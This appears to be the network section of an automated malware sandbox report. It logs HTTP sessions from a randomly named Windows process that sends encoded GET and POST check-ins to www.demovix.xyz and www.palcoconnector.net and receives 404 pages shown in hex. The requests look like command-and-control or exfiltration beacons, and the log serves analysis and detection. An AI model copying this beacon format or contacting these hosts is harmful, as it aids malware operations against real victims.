Nov 7, 2024 15:29:06.449321032 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 14:29:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 16026 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Nov 7, 2024 15:29:06.449357033 CET	1236	IN	Data Raw: 2e 31 39 36 2c 31 30 2e 30 36 63 2d 39 2e 33 33 32 2c 33 2e 33 37 37 2d 32 36 2e 32 2c 37 2e 38 31 37 2d 34 32 2e 33 30 31 2c 33 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 Data Ascii: .196,10.06c-9.332,3.377-26.2,7.817-42.301,3.5 s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,
Nov 7, 2024 15:29:06.449372053 CET	1236	IN	Data Raw: 35 2d 31 32 2e 34 30 38 0a 09 09 09 63 30 2d 33 2e 33 37 38 2d 31 35 2e 33 34 37 2d 34 2e 39 38 38 2d 34 30 2e 32 34 33 2d 37 2e 32 32 35 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 Data Ascii: 5-12.408c0-3.378-15.347-4.988-40.243-7.225" /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.5
Nov 7, 2024 15:29:06.449385881 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 Data Ascii: <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none"
Nov 7, 2024 15:29:06.449399948 CET	848	IN	Data Raw: 20 20 20 20 78 31 3d 22 34 32 36 2e 38 37 31 22 20 79 31 3d 22 33 38 36 2e 31 37 35 22 20 78 32 3d 22 34 33 37 2e 34 37 34 22 20 79 32 3d 22 33 38 36 2e 31 37 35 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 Data Ascii: x1="426.871" y1="386.175" x2="437.474" y2="386.175" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="48
Nov 7, 2024 15:29:06.449412107 CET	1236	IN	Data Raw: 20 20 20 20 20 20 78 31 3d 22 32 32 37 2e 35 35 22 20 79 31 3d 22 32 39 35 2e 31 38 39 22 20 78 32 3d 22 32 33 35 2e 33 38 37 22 20 79 32 3d 22 32 39 35 2e 31 38 39 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 Data Ascii: x1="227.55" y1="295.189" x2="235.387" y2="295.189" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="2
Nov 7, 2024 15:29:06.449425936 CET	1236	IN	Data Raw: 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 34 38 34 2e 32 31 35 22 20 79 31 3d 22 34 31 31 2e 31 34 36 22 20 78 32 3d 22 34 37 36 2e 33 37 38 22 20 79 Data Ascii: troke-miterlimit="10" x1="484.215" y1="411.146" x2="476.378" y2="411.146" /> </g> </g> <g id="circlesBig"> <circle fill="none" stroke="#0E0620" stroke-width="3" s
Nov 7, 2024 15:29:06.449441910 CET	424	IN	Data Raw: 6c 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 Data Ascii: le fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="283.521" cy="568.033" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="roun
Nov 7, 2024 15:29:06.450450897 CET	1236	IN	Data Raw: 35 34 39 2e 38 37 39 22 20 63 79 3d 22 32 39 36 2e 34 30 32 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 32 35 33 2e Data Ascii: 549.879" cy="296.402" r="2.651" /> <circle fill="#0E0620" cx="253.29" cy="229.24" r="2.651" /> <circle fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620" cx="183.708" cy
Nov 7, 2024 15:29:06.450515032 CET	212	IN	Data Raw: 2d 32 35 2e 34 35 35 6c 31 35 2e 36 39 34 2d 35 38 2e 35 33 37 0a 09 09 09 63 33 2e 38 38 39 2d 31 34 2e 35 30 34 2c 31 38 2e 37 39 39 2d 32 33 2e 31 31 2c 33 33 2e 33 30 33 2d 31 39 2e 32 32 31 6c 35 32 2e 33 34 39 2c 31 34 2e 30 33 35 63 31 34 Data Ascii: -25.455l15.694-58.537c3.889-14.504,18.799-23.11,33.303-19.221l52.349,14.035c14.504,3.889,23.11,18.799,19.221,33.303l-15.694,58.537C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id=
Nov 7, 2024 15:29:06.454427958 CET	1236	IN	Data Raw: 22 61 6e 74 65 6e 6e 61 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 Data Ascii: "antenna"> <line fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="323.396" y1="236.625" x2="295.285" y2="353.753" /> <c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49997	199.192.19.19	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:08.320657969 CET	481	OUT	GET /azuc/?F2=IEG0cbQocDdgsf0hXa+uAMZkMIV+L9dmDWmvXBjU8TDCB1WiaKjeRQjMK7ZBG/72TlyV3qB8EHQj0nSZZfMRjS9f0ml2OHl666AhHB2VhosEmVxlyD8Sfr3+gvtJ58MzMw==&sHS=543hApwHD HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.demovix.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Nov 7, 2024 15:29:09.004515886 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 14:29:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 16026 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Nov 7, 2024 15:29:09.004534960 CET	1236	IN	Data Raw: 31 2d 34 2e 36 36 38 2c 38 2e 34 32 31 2d 39 2e 31 39 36 2c 31 30 2e 30 36 63 2d 39 2e 33 33 32 2c 33 2e 33 37 37 2d 32 36 2e 32 2c 37 2e 38 31 37 2d 34 32 2e 33 30 31 2c 33 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e Data Ascii: 1-4.668,8.421-9.196,10.06c-9.332,3.377-26.2,7.817-42.301,3.5 s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087
Nov 7, 2024 15:29:09.004548073 CET	1236	IN	Data Raw: 38 35 2d 35 2e 35 35 35 2c 31 34 31 2e 30 38 35 2d 31 32 2e 34 30 38 0a 09 09 09 63 30 2d 33 2e 33 37 38 2d 31 35 2e 33 34 37 2d 34 2e 39 38 38 2d 34 30 2e 32 34 33 2d 37 2e 32 32 35 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: 85-5.555,141.085-12.408c0-3.378-15.347-4.988-40.243-7.225" /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,12
Nov 7, 2024 15:29:09.004559040 CET	1236	IN	Data Raw: 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 Data Ascii: </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <li
Nov 7, 2024 15:29:09.004573107 CET	848	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 34 32 36 2e 38 37 31 22 20 79 31 3d 22 33 38 36 2e 31 37 35 22 20 78 32 3d 22 34 33 37 2e 34 37 34 22 20 79 32 3d 22 33 38 36 2e 31 37 35 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: x1="426.871" y1="386.175" x2="437.474" y2="386.175" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10"
Nov 7, 2024 15:29:09.004585028 CET	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 32 32 37 2e 35 35 22 20 79 31 3d 22 32 39 35 2e 31 38 39 22 20 78 32 3d 22 32 33 35 2e 33 38 37 22 20 79 32 3d 22 32 39 35 2e 31 38 39 22 20 2f 3e 0a 20 20 20 20 20 20 20 Data Ascii: x1="227.55" y1="295.189" x2="235.387" y2="295.189" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10"
Nov 7, 2024 15:29:09.004599094 CET	1236	IN	Data Raw: 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 34 38 34 2e 32 31 35 22 20 79 31 3d 22 34 31 31 2e 31 34 36 22 Data Ascii: necap="round" stroke-miterlimit="10" x1="484.215" y1="411.146" x2="476.378" y2="411.146" /> </g> </g> <g id="circlesBig"> <circle fill="none" stroke="#0E0620" str
Nov 7, 2024 15:29:09.004611969 CET	424	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f Data Ascii: <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="283.521" cy="568.033" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" strok
Nov 7, 2024 15:29:09.004838943 CET	1236	IN	Data Raw: 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 35 34 39 2e 38 37 39 22 20 63 79 3d 22 32 39 36 2e 34 30 32 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 Data Ascii: ="#0E0620" cx="549.879" cy="296.402" r="2.651" /> <circle fill="#0E0620" cx="253.29" cy="229.24" r="2.651" /> <circle fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620"
Nov 7, 2024 15:29:09.004978895 CET	1236	IN	Data Raw: 34 2d 31 34 2e 33 36 39 2d 31 34 2e 36 39 32 2d 32 35 2e 34 35 35 6c 31 35 2e 36 39 34 2d 35 38 2e 35 33 37 0a 09 09 09 63 33 2e 38 38 39 2d 31 34 2e 35 30 34 2c 31 38 2e 37 39 39 2d 32 33 2e 31 31 2c 33 33 2e 33 30 33 2d 31 39 2e 32 32 31 6c 35 Data Ascii: 4-14.369-14.692-25.455l15.694-58.537c3.889-14.504,18.799-23.11,33.303-19.221l52.349,14.035c14.504,3.889,23.11,18.799,19.221,33.303l-15.694,58.537C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id="antenna">
Nov 7, 2024 15:29:09.011265039 CET	1236	IN	Data Raw: 2e 39 36 36 2c 36 2e 36 37 38 2d 31 34 2e 35 39 34 63 32 2e 33 34 34 2c 31 2e 33 34 33 2c 34 2e 33 38 33 2c 33 2e 32 38 39 2c 35 2e 38 33 37 2c 35 2e 37 39 33 0a 09 09 09 09 63 34 2e 34 31 31 2c 37 2e 35 39 36 2c 31 2e 38 32 39 2c 31 37 2e 33 33 Data Ascii: .966,6.678-14.594c2.344,1.343,4.383,3.289,5.837,5.793c4.411,7.596,1.829,17.33-5.767,21.741c-7.596,4.411-17.33,1.829-21.741-5.767c-1.754-3.021-2.817-5.818-2.484-9.046C375.625,437.355,383.087,437.973,388.762,434.677z" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49998	208.91.197.27	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:14.395114899 CET	759	OUT	POST /bnrz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.palcoconnector.net Origin: http://www.palcoconnector.net Cache-Control: max-age=0 Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.palcoconnector.net/bnrz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 44 53 5a 51 77 74 75 50 74 4c 35 6a 52 4c 6f 48 44 70 41 51 4c 72 6f 69 6f 78 76 50 68 70 41 39 61 4b 34 48 6a 31 35 51 51 4a 6e 51 4a 46 77 32 31 7a 4a 51 33 64 4e 62 61 4b 32 6a 70 57 39 7a 36 45 51 36 31 30 31 35 6a 52 70 58 77 7a 71 34 69 4e 73 74 6a 50 41 57 6d 66 4a 47 69 41 2b 6c 2b 33 4b 79 39 55 47 62 46 2b 6c 71 2f 49 65 77 6b 48 6e 65 5a 50 6e 41 31 61 37 5a 78 4e 6b 31 38 63 51 42 73 47 4e 45 49 45 6d 48 76 77 32 55 36 61 37 69 54 4e 34 78 72 44 44 31 57 51 32 35 6b 34 31 32 47 59 7a 70 69 31 65 48 4d 49 4e 6f 7a 50 7a 64 45 6d 37 77 58 39 52 6c 64 4b 61 31 45 72 2b 69 39 48 73 3d Data Ascii: F2=DSZQwtuPtL5jRLoHDpAQLroioxvPhpA9aK4Hj15QQJnQJFw21zJQ3dNbaK2jpW9z6EQ61015jRpXwzq4iNstjPAWmfJGiA+l+3Ky9UGbF+lq/IewkHneZPnA1a7ZxNk18cQBsGNEIEmHvw2U6a7iTN4xrDD1WQ25k412GYzpi1eHMINozPzdEm7wX9RldKa1Er+i9Hs=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49999	208.91.197.27	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:16.931986094 CET	779	OUT	POST /bnrz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.palcoconnector.net Origin: http://www.palcoconnector.net Cache-Control: max-age=0 Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.palcoconnector.net/bnrz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 44 53 5a 51 77 74 75 50 74 4c 35 6a 53 72 34 48 46 4f 55 51 63 62 6f 68 6e 52 76 50 30 5a 41 35 61 4b 38 48 6a 77 59 4e 51 36 44 51 4a 6b 41 32 30 33 64 51 30 64 4e 62 50 36 32 6d 78 32 39 34 36 45 63 45 31 77 78 35 6a 52 56 58 77 32 57 34 69 2f 45 69 35 2f 41 55 72 2f 4a 45 73 67 2b 6c 2b 33 4b 79 39 55 53 78 46 2b 39 71 38 39 57 77 6b 6d 6e 64 51 76 6e 42 32 61 37 5a 31 4e 6b 4c 38 63 52 78 73 43 56 75 49 42 36 48 76 78 6d 55 36 4f 76 39 64 4e 34 33 6d 6a 43 36 52 69 65 30 6a 62 70 34 62 71 7a 76 73 47 2b 6c 4e 2b 67 43 70 74 37 62 48 6d 54 62 58 2b 35 54 59 39 48 64 65 49 75 53 6a 51 37 6f 55 30 6f 75 74 48 71 74 39 33 73 70 4d 57 32 6d 7a 6f 54 56 Data Ascii: F2=DSZQwtuPtL5jSr4HFOUQcbohnRvP0ZA5aK8HjwYNQ6DQJkA203dQ0dNbP62mx2946EcE1wx5jRVXw2W4i/Ei5/AUr/JEsg+l+3Ky9USxF+9q89WwkmndQvnB2a7Z1NkL8cRxsCVuIB6HvxmU6Ov9dN43mjC6Rie0jbp4bqzvsG+lN+gCpt7bHmTbX+5TY9HdeIuSjQ7oU0outHqt93spMW2mzoTV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	50000	208.91.197.27	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:19.478890896 CET	1796	OUT	POST /bnrz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.palcoconnector.net Origin: http://www.palcoconnector.net Cache-Control: max-age=0 Content-Length: 1239 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.palcoconnector.net/bnrz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 44 53 5a 51 77 74 75 50 74 4c 35 6a 53 72 34 48 46 4f 55 51 63 62 6f 68 6e 52 76 50 30 5a 41 35 61 4b 38 48 6a 77 59 4e 51 36 4c 51 4a 32 49 32 31 51 68 51 31 64 4e 62 4f 36 32 6e 78 32 39 6c 36 45 30 2b 31 77 39 48 6a 58 5a 58 78 55 75 34 6b 4c 51 69 73 76 41 55 69 66 4a 4a 69 41 2f 6e 2b 33 36 75 39 55 43 78 46 2b 39 71 38 38 6d 77 30 6e 6e 64 57 76 6e 41 31 61 37 46 78 4e 6c 6d 38 59 46 48 73 43 42 55 4c 79 69 48 75 52 57 55 2f 37 37 39 56 4e 34 31 68 6a 44 6c 52 69 44 30 6a 62 31 53 62 72 58 4a 73 46 75 6c 50 50 52 2b 75 64 6e 34 51 41 4c 61 4d 64 35 51 57 36 6a 72 42 5a 57 2b 72 53 7a 4c 51 6c 59 32 71 56 6a 69 36 58 31 41 5a 77 65 43 38 2f 79 56 61 4b 57 71 44 65 70 63 7a 41 39 2b 46 74 4b 43 34 42 64 75 48 4a 69 35 55 38 4a 53 34 64 46 4a 6f 53 6a 66 39 2b 74 55 41 4e 36 70 35 53 55 6f 31 37 54 6d 52 31 72 38 43 67 6b 38 71 62 67 6e 58 4f 31 39 37 2b 5a 33 57 47 66 75 66 56 65 55 64 75 43 79 57 34 68 6d 46 70 7a 75 5a 34 32 65 7a 68 38 71 79 41 52 7a 4c 6b 7a 30 41 69 51 6a 67 73 51 [TRUNCATED] Data Ascii: F2=DSZQwtuPtL5jSr4HFOUQcbohnRvP0ZA5aK8HjwYNQ6LQJ2I21QhQ1dNbO62nx29l6E0+1w9HjXZXxUu4kLQisvAUifJJiA/n+36u9UCxF+9q88mw0nndWvnA1a7FxNlm8YFHsCBULyiHuRWU/779VN41hjDlRiD0jb1SbrXJsFulPPR+udn4QALaMd5QW6jrBZW+rSzLQlY2qVji6X1AZweC8/yVaKWqDepczA9+FtKC4BduHJi5U8JS4dFJoSjf9+tUAN6p5SUo17TmR1r8Cgk8qbgnXO197+Z3WGfufVeUduCyW4hmFpzuZ42ezh8qyARzLkz0AiQjgsQ3e50uoe4cKHN7wehzcLfeT819cg3lLMrDSoKMTe7iREpTGVjWDiTR7TVgDOJHDReLctWGnSzClFT9StWpjSMxE0GVlg7LVDNzZvKVFa8gTNubsbjrQE8sRMAZmCB1dmsSGlTLiTt4diglHqOyHO5SYZsnBPaGDsXI2fuuhdMkkoqcL72WLq82BJqEOQiBNgXNX5/oWbEi3pvNeW2Bqd3E2xKafl2MrPO1apiA4nMV0n6aj/knHTIq8S/gxndIx5xlAGuXiMnbjKr4GFqbP9cHsJQmL4VYcCSH8keOrX79gU7Cx/aJCH4l/5KQ+y7JwVns8XkLDv7puX07LNr5hhAZKloiZ2OCWKcdMUVrE9R8yZ3dNrKTGUFajbp3D31j7acTlQWVoPyw8a9/TGpWA21qj16rzsGRAvRXxovtJTLf4uXvZvqCvJgWwSnL5JJdtKHLzRe8R7loTF+lKXihbrXXKO1VFHG6iJkxy+BvwiZ04AfX92ybSVbWI0NuKkx1jTg1RXPk68ECb+27B+Ga/mLXuJAREodD3FWdWwDTyX+q20QK7Yafuuk1aAzxzj2+lzd0cht01QDEG7q2crpsn7WdaWWoOyoO9N9eY9S1h+bfbrSxDx1cjgq+Zbe8nq5zkT/NZ1kKiNY3HALuuAkKHA9WIGwFP9Rvb0ggs [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	50001	208.91.197.27	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
